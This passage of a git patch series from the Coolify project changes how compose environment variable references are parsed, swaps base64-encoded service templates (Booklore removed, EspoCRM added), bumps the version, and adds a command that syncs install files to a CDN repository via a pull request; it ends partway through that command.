@@ -990,16 +990,17 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
}
if ($key->value() === $parsedValue->value()) {
// Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL})
- // Use firstOrCreate to avoid overwriting user-saved values on redeploy
- $envVar = $resource->environment_variables()->firstOrCreate([
+ // Ensure the variable exists in DB for .env generation and UI display
+ $resource->environment_variables()->firstOrCreate([
'key' => $key,
'resourceable_type' => get_class($resource),
'resourceable_id' => $resource->id,
], [
'is_preview' => false,
]);
- // Add the variable to the environment using the saved DB value
- $environment[$key->value()] = $envVar->value;
+ // Keep the ${VAR} reference in compose — Docker Compose resolves from .env at deploy time.
+ // Do NOT replace with DB value: if user updates env var without re-parsing compose,
+ // a stale resolved value in environment: would override the correct .env value.
} else {
if ($value->startsWith('$')) {
$isRequired = false;
@@ -2341,8 +2342,8 @@ function serviceParser(Service $resource): Collection
}
if ($key->value() === $parsedValue->value()) {
// Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL})
- // Use firstOrCreate to avoid overwriting user-saved values on redeploy
- $envVar = $resource->environment_variables()->firstOrCreate([
+ // Ensure the variable exists in DB for .env generation and UI display
+ $resource->environment_variables()->firstOrCreate([
'key' => $key,
'resourceable_type' => get_class($resource),
'resourceable_id' => $resource->id,
@@ -2350,8 +2351,9 @@ function serviceParser(Service $resource): Collection
'is_preview' => false,
'comment' => $envComments[$originalKey] ?? null,
]);
- // Add the variable to the environment using the saved DB value
- $environment[$key->value()] = $envVar->value;
+ // Keep the ${VAR} reference in compose — Docker Compose resolves from .env at deploy time.
+ // Do NOT replace with DB value: if user updates env var without re-parsing compose,
+ // a stale resolved value in environment: would override the correct .env value.
} else {
if ($value->startsWith('$')) {
$isRequired = false;
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json
index f22a2ab53..51cb39de0 100644
--- a/templates/service-templates-latest.json
+++ b/templates/service-templates-latest.json
@@ -310,23 +310,6 @@
"minversion": "0.0.0",
"port": "3000"
},
- "booklore": {
- "documentation": "https://booklore.org/docs/getting-started?utm_source=coolify.io",
- "slogan": "Booklore is an open-source library management system for your digital book collection.",
- "compose": "c2VydmljZXM6CiAgYm9va2xvcmU6CiAgICBpbWFnZTogJ2Jvb2tsb3JlL2Jvb2tsb3JlOnYxLjE2LjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CT09LTE9SRV84MAogICAgICAtICdVU0VSX0lEPSR7Qk9PS0xPUkVfVVNFUl9JRDotMH0nCiAgICAgIC0gJ0dST1VQX0lEPSR7Qk9PS0xPUkVfR1JPVVBfSUQ6LTB9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdEQVRBQkFTRV9VUkw9amRiYzptYXJpYWRiOi8vbWFyaWFkYjozMzA2LyR7TUFSSUFEQl9EQVRBQkFTRTotYm9va2xvcmUtZGJ9JwogICAgICAtICdEQVRBQkFTRV9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9NQVJJQURCfScKICAgICAgLSAnREFUQUJBU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01BUklBREJ9JwogICAgICAtIEJPT0tMT1JFX1BPUlQ9ODAKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jvb2tsb3JlLWRhdGE6L2FwcC9kYXRhJwogICAgICAtICdib29rbG9yZS1ib29rczovYm9va3MnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiB+L2Jvb2tsb3JlCiAgICAgICAgdGFyZ2V0OiAvYm9va2Ryb3AKICAgICAgICBpc19kaXJlY3Rvcnk6IHRydWUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtLW5vLXZlcmJvc2UgLS10cmllcz0xIC0tc3BpZGVyIGh0dHA6Ly9sb2NhbGhvc3QvbG9naW4gfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBtYXJpYWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdNQVJJQURCX1VTRVI9JHtTRVJWSUNFX1VTRVJfTUFSSUFEQn0nCiAgICAgIC0gJ01BUklBREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01BUklBREJ9JwogICAgICAtICdNQVJJQURCX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01BUklBREJST09UfScKICAgICAgLSAnTUFSSUFEQl9EQVRBQkFTRT0ke01BUklBREJfREFUQUJBU0U6LWJvb2tsb3JlLWRifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ21hcmlhZGItZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=",
- "tags": [
- "media",
- "books",
- "kobo",
- "epub",
- "ebook",
- "koreader"
- ],
- "category": null,
- "logo": "svgs/booklore.svg",
- "minversion": "0.0.0",
- "port": "80"
- },
"bookstack": {
"documentation": "https://www.bookstackapp.com/docs/?utm_source=coolify.io",
"slogan": "BookStack is a simple, self-hosted, easy-to-use platform for organising and storing information",
@@ -1204,6 +1187,23 @@
"minversion": "0.0.0",
"port": "6052"
},
+ "espocrm": {
+ "documentation": "https://docs.espocrm.com?utm_source=coolify.io",
+ "slogan": "EspoCRM is a free and open-source CRM platform.",
+ "compose": "c2VydmljZXM6CiAgZXNwb2NybToKICAgIGltYWdlOiAnZXNwb2NybS9lc3BvY3JtOjknCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9FU1BPQ1JNCiAgICAgIC0gJ0VTUE9DUk1fQURNSU5fVVNFUk5BTUU9JHtFU1BPQ1JNX0FETUlOX1VTRVJOQU1FOi1hZG1pbn0nCiAgICAgIC0gJ0VTUE9DUk1fQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSBFU1BPQ1JNX0RBVEFCQVNFX1BMQVRGT1JNPU15c3FsCiAgICAgIC0gRVNQT0NSTV9EQVRBQkFTRV9IT1NUPWVzcG9jcm0tZGIKICAgICAgLSAnRVNQT0NSTV9EQVRBQkFTRV9OQU1FPSR7TUFSSUFEQl9EQVRBQkFTRTotZXNwb2NybX0nCiAgICAgIC0gJ0VTUE9DUk1fREFUQUJBU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NQVJJQURCfScKICAgICAgLSAnRVNQT0NSTV9EQVRBQkFTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQn0nCiAgICAgIC0gJ0VTUE9DUk1fU0lURV9VUkw9JHtTRVJWSUNFX1VSTF9FU1BPQ1JNfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2VzcG9jcm06L3Zhci93d3cvaHRtbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHN0YXJ0X3BlcmlvZDogNjBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogICAgZGVwZW5kc19vbjoKICAgICAgZXNwb2NybS1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIGVzcG9jcm0tZGFlbW9uOgogICAgaW1hZ2U6ICdlc3BvY3JtL2VzcG9jcm06OScKICAgIGNvbnRhaW5lcl9uYW1lOiBlc3BvY3JtLWRhZW1vbgogICAgdm9sdW1lczoKICAgICAgLSAnZXNwb2NybTovdmFyL3d3dy9odG1sJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBlbnRyeXBvaW50OiBkb2NrZXItZGFlbW9uLnNoCiAgICBkZXBlbmRzX29uOgogICAgICBlc3BvY3JtOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgZXNwb2NybS13ZWJzb2NrZXQ6CiAgICBpbWFnZTogJ2VzcG9jcm0vZXNwb2NybTo5JwogICAgY29udGFpbmVyX25hbWU6IGVzcG9jcm0td2Vic29ja2V0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9FU1BPQ1JNX1dFQlNPQ0tFVF84MDgwCiAgICAgIC0gRVNQT0NSTV9DT05GSUdfVVNFX1dFQl9TT0NLRVQ9dHJ1ZQogICAgICAtIEVTUE9DUk1fQ09ORklHX1dFQl9TT0NLRVRfVVJMPSRTRVJWSUNFX1VSTF9FU1BPQ1JNX1dFQlNPQ0tFVAogICAgICAtICdFU1BPQ1JNX0NPTkZJR19XRUJfU09DS0VUX1pFUk9fTV9RX1NVQlNDUklCRVJfRFNOPXRjcDovLyo6Nzc3NycKICAgICAgLSAnRVNQT0NSTV9DT05GSUdfV0VCX1NPQ0tFVF9aRVJPX01fUV9TVUJNSVNTSU9OX0RTTj10Y3A6Ly9lc3BvY3JtLXdlYnNvY2tldDo3Nzc3JwogICAgdm9sdW1lczoKICAgICAgLSAnZXNwb2NybTovdmFyL3d3dy9odG1sJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBlbnRyeXBvaW50OiBkb2NrZXItd2Vic29ja2V0LnNoCiAgICBkZXBlbmRzX29uOgogICAgICBlc3BvY3JtOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgZXNwb2NybS1kYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01BUklBREJfREFUQUJBU0U9JHtNQVJJQURCX0RBVEFCQVNFOi1lc3BvY3JtfScKICAgICAgLSAnTUFSSUFEQl9VU0VSPSR7U0VSVklDRV9VU0VSX01BUklBREJ9JwogICAgICAtICdNQVJJQURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NQVJJQURCfScKICAgICAgLSAnTUFSSUFEQl9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9ST09UfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2VzcG9jcm0tZGI6L3Zhci9saWIvbXlzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaGVhbHRoY2hlY2suc2gKICAgICAgICAtICctLWNvbm5lY3QnCiAgICAgICAgLSAnLS1pbm5vZGJfaW5pdGlhbGl6ZWQnCiAgICAgIGludGVydmFsOiAyMHMKICAgICAgc3RhcnRfcGVyaW9kOiAxMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK",
+ "tags": [
+ "crm",
+ "self-hosted",
+ "open-source",
+ "workflow",
+ "automation",
+ "project management"
+ ],
+ "category": "cms",
+ "logo": "svgs/espocrm.svg",
+ "minversion": "0.0.0",
+ "port": "80"
+ },
"evolution-api": {
"documentation": "https://doc.evolution-api.com/v2/en/get-started/introduction?utm_source=coolify.io",
"slogan": "Multi-platform messaging (whatsapp and more) integration API",
diff --git a/templates/service-templates.json b/templates/service-templates.json
index 22d0d6d8c..85445faf6 100644
--- a/templates/service-templates.json
+++ b/templates/service-templates.json
@@ -310,23 +310,6 @@
"minversion": "0.0.0",
"port": "3000"
},
- "booklore": {
- "documentation": "https://booklore.org/docs/getting-started?utm_source=coolify.io",
- "slogan": "Booklore is an open-source library management system for your digital book collection.",
- "compose": "c2VydmljZXM6CiAgYm9va2xvcmU6CiAgICBpbWFnZTogJ2Jvb2tsb3JlL2Jvb2tsb3JlOnYxLjE2LjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQk9PS0xPUkVfODAKICAgICAgLSAnVVNFUl9JRD0ke0JPT0tMT1JFX1VTRVJfSUQ6LTB9JwogICAgICAtICdHUk9VUF9JRD0ke0JPT0tMT1JFX0dST1VQX0lEOi0wfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSAnREFUQUJBU0VfVVJMPWpkYmM6bWFyaWFkYjovL21hcmlhZGI6MzMwNi8ke01BUklBREJfREFUQUJBU0U6LWJvb2tsb3JlLWRifScKICAgICAgLSAnREFUQUJBU0VfVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfTUFSSUFEQn0nCiAgICAgIC0gJ0RBVEFCQVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NQVJJQURCfScKICAgICAgLSBCT09LTE9SRV9QT1JUPTgwCiAgICB2b2x1bWVzOgogICAgICAtICdib29rbG9yZS1kYXRhOi9hcHAvZGF0YScKICAgICAgLSAnYm9va2xvcmUtYm9va3M6L2Jvb2tzJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogfi9ib29rbG9yZQogICAgICAgIHRhcmdldDogL2Jvb2tkcm9wCiAgICAgICAgaXNfZGlyZWN0b3J5OiB0cnVlCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0L2xvZ2luIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbWFyaWFkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUFSSUFEQl9VU0VSPSR7U0VSVklDRV9VU0VSX01BUklBREJ9JwogICAgICAtICdNQVJJQURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NQVJJQURCfScKICAgICAgLSAnTUFSSUFEQl9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NQVJJQURCUk9PVH0nCiAgICAgIC0gJ01BUklBREJfREFUQUJBU0U9JHtNQVJJQURCX0RBVEFCQVNFOi1ib29rbG9yZS1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdtYXJpYWRiLWRhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaGVhbHRoY2hlY2suc2gKICAgICAgICAtICctLWNvbm5lY3QnCiAgICAgICAgLSAnLS1pbm5vZGJfaW5pdGlhbGl6ZWQnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK",
- "tags": [
- "media",
- "books",
- "kobo",
- "epub",
- "ebook",
- "koreader"
- ],
- "category": null,
- "logo": "svgs/booklore.svg",
- "minversion": "0.0.0",
- "port": "80"
- },
"bookstack": {
"documentation": "https://www.bookstackapp.com/docs/?utm_source=coolify.io",
"slogan": "BookStack is a simple, self-hosted, easy-to-use platform for organising and storing information",
@@ -1204,6 +1187,23 @@
"minversion": "0.0.0",
"port": "6052"
},
+ "espocrm": {
+ "documentation": "https://docs.espocrm.com?utm_source=coolify.io",
+ "slogan": "EspoCRM is a free and open-source CRM platform.",
+ "compose": "c2VydmljZXM6CiAgZXNwb2NybToKICAgIGltYWdlOiAnZXNwb2NybS9lc3BvY3JtOjknCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fRVNQT0NSTQogICAgICAtICdFU1BPQ1JNX0FETUlOX1VTRVJOQU1FPSR7RVNQT0NSTV9BRE1JTl9VU0VSTkFNRTotYWRtaW59JwogICAgICAtICdFU1BPQ1JNX0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gRVNQT0NSTV9EQVRBQkFTRV9QTEFURk9STT1NeXNxbAogICAgICAtIEVTUE9DUk1fREFUQUJBU0VfSE9TVD1lc3BvY3JtLWRiCiAgICAgIC0gJ0VTUE9DUk1fREFUQUJBU0VfTkFNRT0ke01BUklBREJfREFUQUJBU0U6LWVzcG9jcm19JwogICAgICAtICdFU1BPQ1JNX0RBVEFCQVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfTUFSSUFEQn0nCiAgICAgIC0gJ0VTUE9DUk1fREFUQUJBU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01BUklBREJ9JwogICAgICAtICdFU1BPQ1JNX1NJVEVfVVJMPSR7U0VSVklDRV9GUUROX0VTUE9DUk19JwogICAgdm9sdW1lczoKICAgICAgLSAnZXNwb2NybTovdmFyL3d3dy9odG1sJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgc3RhcnRfcGVyaW9kOiA2MHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgICBkZXBlbmRzX29uOgogICAgICBlc3BvY3JtLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgZXNwb2NybS1kYWVtb246CiAgICBpbWFnZTogJ2VzcG9jcm0vZXNwb2NybTo5JwogICAgY29udGFpbmVyX25hbWU6IGVzcG9jcm0tZGFlbW9uCiAgICB2b2x1bWVzOgogICAgICAtICdlc3BvY3JtOi92YXIvd3d3L2h0bWwnCiAgICByZXN0YXJ0OiBhbHdheXMKICAgIGVudHJ5cG9pbnQ6IGRvY2tlci1kYWVtb24uc2gKICAgIGRlcGVuZHNfb246CiAgICAgIGVzcG9jcm06CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBlc3BvY3JtLXdlYnNvY2tldDoKICAgIGltYWdlOiAnZXNwb2NybS9lc3BvY3JtOjknCiAgICBjb250YWluZXJfbmFtZTogZXNwb2NybS13ZWJzb2NrZXQKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9FU1BPQ1JNX1dFQlNPQ0tFVF84MDgwCiAgICAgIC0gRVNQT0NSTV9DT05GSUdfVVNFX1dFQl9TT0NLRVQ9dHJ1ZQogICAgICAtIEVTUE9DUk1fQ09ORklHX1dFQl9TT0NLRVRfVVJMPSRTRVJWSUNFX0ZRRE5fRVNQT0NSTV9XRUJTT0NLRVQKICAgICAgLSAnRVNQT0NSTV9DT05GSUdfV0VCX1NPQ0tFVF9aRVJPX01fUV9TVUJTQ1JJQkVSX0RTTj10Y3A6Ly8qOjc3NzcnCiAgICAgIC0gJ0VTUE9DUk1fQ09ORklHX1dFQl9TT0NLRVRfWkVST19NX1FfU1VCTUlTU0lPTl9EU049dGNwOi8vZXNwb2NybS13ZWJzb2NrZXQ6Nzc3NycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2VzcG9jcm06L3Zhci93d3cvaHRtbCcKICAgIHJlc3RhcnQ6IGFsd2F5cwogICAgZW50cnlwb2ludDogZG9ja2VyLXdlYnNvY2tldC5zaAogICAgZGVwZW5kc19vbjoKICAgICAgZXNwb2NybToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIGVzcG9jcm0tZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTEuOCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNQVJJQURCX0RBVEFCQVNFPSR7TUFSSUFEQl9EQVRBQkFTRTotZXNwb2NybX0nCiAgICAgIC0gJ01BUklBREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NQVJJQURCfScKICAgICAgLSAnTUFSSUFEQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQn0nCiAgICAgIC0gJ01BUklBREJfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUk9PVH0nCiAgICB2b2x1bWVzOgogICAgICAtICdlc3BvY3JtLWRiOi92YXIvbGliL215c3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCg==",
+ "tags": [
+ "crm",
+ "self-hosted",
+ "open-source",
+ "workflow",
+ "automation",
+ "project management"
+ ],
+ "category": "cms",
+ "logo": "svgs/espocrm.svg",
+ "minversion": "0.0.0",
+ "port": "80"
+ },
"evolution-api": {
"documentation": "https://doc.evolution-api.com/v2/en/get-started/introduction?utm_source=coolify.io",
"slogan": "Multi-platform messaging (whatsapp and more) integration API",
diff --git a/tests/Unit/ServiceParserEnvVarPreservationTest.php b/tests/Unit/ServiceParserEnvVarPreservationTest.php
index 3f56447dc..16a5ad676 100644
--- a/tests/Unit/ServiceParserEnvVarPreservationTest.php
+++ b/tests/Unit/ServiceParserEnvVarPreservationTest.php
@@ -4,7 +4,7 @@
* Unit tests to verify that Docker Compose environment variables
* do not overwrite user-saved values on redeploy.
*
- * Regression test for GitHub issue #8885.
+ * Regression test for GitHub issues #8885 and #9136.
*/
it('uses firstOrCreate for simple variable references in serviceParser to preserve user values', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
@@ -14,8 +14,8 @@
// This is the key === parsedValue branch
expect($parsersFile)->toContain(
"// Simple variable reference (e.g. DATABASE_URL: \${DATABASE_URL})\n".
- " // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n".
- ' $envVar = $resource->environment_variables()->firstOrCreate('
+ " // Ensure the variable exists in DB for .env generation and UI display\n".
+ ' $resource->environment_variables()->firstOrCreate('
);
});
@@ -46,15 +46,15 @@
expect($count)->toBe(1, 'serviceParser should use firstOrCreate for simple variable refs without default');
});
-it('populates environment array with saved DB value instead of raw compose variable', function () {
+it('does not replace self-referencing variable values in the environment array', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
- // After firstOrCreate, the environment should be populated with the DB value ($envVar->value)
- // not the raw compose variable reference (e.g., ${DATABASE_URL})
- // This pattern should appear in both parsers for all variable reference types
- expect($parsersFile)->toContain('// Add the variable to the environment using the saved DB value');
- expect($parsersFile)->toContain('$environment[$key->value()] = $envVar->value;');
- expect($parsersFile)->toContain('$environment[$content] = $envVar->value;');
+ // Fix for #9136: self-referencing variables (KEY=${KEY}) must NOT have their ${VAR}
+ // reference replaced with the DB value in the compose environment section.
+ // Instead, the reference should stay intact so Docker Compose resolves from .env at deploy time.
+ // This prevents stale values when users update env vars without re-parsing compose.
+ expect($parsersFile)->toContain('Keep the ${VAR} reference in compose');
+ expect($parsersFile)->not->toContain('$environment[$key->value()] = $envVar->value;');
});
it('does not use updateOrCreate with value null for user-editable environment variables', function () {
From bf306ffad3d876b3b1fd69c579348a7fa37e4fe8 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 24 Mar 2026 21:57:40 +0100
Subject: [PATCH 054/168] chore: bump version to 4.0.0-beta.470
---
config/constants.php | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/config/constants.php b/config/constants.php
index 803a0a0bd..b0a772541 100644
--- a/config/constants.php
+++ b/config/constants.php
@@ -2,7 +2,7 @@
return [
'coolify' => [
- 'version' => '4.0.0-beta.469',
+ 'version' => '4.0.0-beta.470',
'helper_version' => '1.0.12',
'realtime_version' => '1.0.11',
'self_hosted' => env('SELF_HOSTED', true),
From e6de2618f96d24fd8d59d22e8434bd26b8a7558a Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 07:07:22 +0100
Subject: [PATCH 055/168] feat(sync): sync install.sh, docker-compose, and env
files to GitHub
Adds syncFilesToGitHubRepo method to handle syncing install.sh,
docker-compose, and env files to the coolify-cdn repository via a
feature branch and PR. Supports both nightly and production environments.
---
app/Console/Commands/SyncBunny.php | 308 ++++++++++++++++++++++++++++-
1 file changed, 305 insertions(+), 3 deletions(-)
diff --git a/app/Console/Commands/SyncBunny.php b/app/Console/Commands/SyncBunny.php
index 0a98f1dc8..9ac3371e0 100644
--- a/app/Console/Commands/SyncBunny.php
+++ b/app/Console/Commands/SyncBunny.php
@@ -363,6 +363,162 @@ private function syncReleasesAndVersionsToGitHubRepo(string $versionsLocation, b
}
}
+ /**
+ * Sync install.sh, docker-compose, and env files to GitHub repository via PR
+ */
+ private function syncFilesToGitHubRepo(array $files, bool $nightly = false): bool
+ {
+ $envLabel = $nightly ? 'NIGHTLY' : 'PRODUCTION';
+ $this->info("Syncing $envLabel files to GitHub repository...");
+ try {
+ $timestamp = time();
+ $tmpDir = sys_get_temp_dir().'/coolify-cdn-files-'.$timestamp;
+ $branchName = 'update-files-'.$timestamp;
+
+ // Clone the repository
+ $this->info('Cloning coolify-cdn repository...');
+ $output = [];
+ exec('gh repo clone coollabsio/coolify-cdn '.escapeshellarg($tmpDir).' 2>&1', $output, $returnCode);
+ if ($returnCode !== 0) {
+ $this->error('Failed to clone repository: '.implode("\n", $output));
+
+ return false;
+ }
+
+ // Create feature branch
+ $this->info('Creating feature branch...');
+ $output = [];
+ exec('cd '.escapeshellarg($tmpDir).' && git checkout -b '.escapeshellarg($branchName).' 2>&1', $output, $returnCode);
+ if ($returnCode !== 0) {
+ $this->error('Failed to create branch: '.implode("\n", $output));
+ exec('rm -rf '.escapeshellarg($tmpDir));
+
+ return false;
+ }
+
+ // Copy each file to its target path in the CDN repo
+ $copiedFiles = [];
+ foreach ($files as $sourceFile => $targetPath) {
+ if (! file_exists($sourceFile)) {
+ $this->warn("Source file not found, skipping: $sourceFile");
+
+ continue;
+ }
+
+ $destPath = "$tmpDir/$targetPath";
+ $destDir = dirname($destPath);
+
+ if (! is_dir($destDir)) {
+ if (! mkdir($destDir, 0755, true)) {
+ $this->error("Failed to create directory: $destDir");
+ exec('rm -rf '.escapeshellarg($tmpDir));
+
+ return false;
+ }
+ }
+
+ if (copy($sourceFile, $destPath) === false) {
+ $this->error("Failed to copy $sourceFile to $destPath");
+ exec('rm -rf '.escapeshellarg($tmpDir));
+
+ return false;
+ }
+
+ $copiedFiles[] = $targetPath;
+ $this->info("Copied: $targetPath");
+ }
+
+ if (empty($copiedFiles)) {
+ $this->warn('No files were copied. Nothing to commit.');
+ exec('rm -rf '.escapeshellarg($tmpDir));
+
+ return true;
+ }
+
+ // Stage all copied files
+ $this->info('Staging changes...');
+ $output = [];
+ $stageCmd = 'cd '.escapeshellarg($tmpDir).' && git add '.implode(' ', array_map('escapeshellarg', $copiedFiles)).' 2>&1';
+ exec($stageCmd, $output, $returnCode);
+ if ($returnCode !== 0) {
+ $this->error('Failed to stage changes: '.implode("\n", $output));
+ exec('rm -rf '.escapeshellarg($tmpDir));
+
+ return false;
+ }
+
+ // Check for changes
+ $this->info('Checking for changes...');
+ $statusOutput = [];
+ exec('cd '.escapeshellarg($tmpDir).' && git status --porcelain 2>&1', $statusOutput, $returnCode);
+ if ($returnCode !== 0) {
+ $this->error('Failed to check repository status: '.implode("\n", $statusOutput));
+ exec('rm -rf '.escapeshellarg($tmpDir));
+
+ return false;
+ }
+
+ if (empty(array_filter($statusOutput))) {
+ $this->info('All files are already up to date. No changes to commit.');
+ exec('rm -rf '.escapeshellarg($tmpDir));
+
+ return true;
+ }
+
+ // Commit changes
+ $commitMessage = "Update $envLabel files (install.sh, docker-compose, env) - ".date('Y-m-d H:i:s');
+ $output = [];
+ exec('cd '.escapeshellarg($tmpDir).' && git commit -m '.escapeshellarg($commitMessage).' 2>&1', $output, $returnCode);
+ if ($returnCode !== 0) {
+ $this->error('Failed to commit changes: '.implode("\n", $output));
+ exec('rm -rf '.escapeshellarg($tmpDir));
+
+ return false;
+ }
+
+ // Push to remote
+ $this->info('Pushing branch to remote...');
+ $output = [];
+ exec('cd '.escapeshellarg($tmpDir).' && git push origin '.escapeshellarg($branchName).' 2>&1', $output, $returnCode);
+ if ($returnCode !== 0) {
+ $this->error('Failed to push branch: '.implode("\n", $output));
+ exec('rm -rf '.escapeshellarg($tmpDir));
+
+ return false;
+ }
+
+ // Create pull request
+ $this->info('Creating pull request...');
+ $prTitle = "Update $envLabel files - ".date('Y-m-d H:i:s');
+ $fileList = implode("\n- ", $copiedFiles);
+ $prBody = "Automated update of $envLabel files:\n- $fileList";
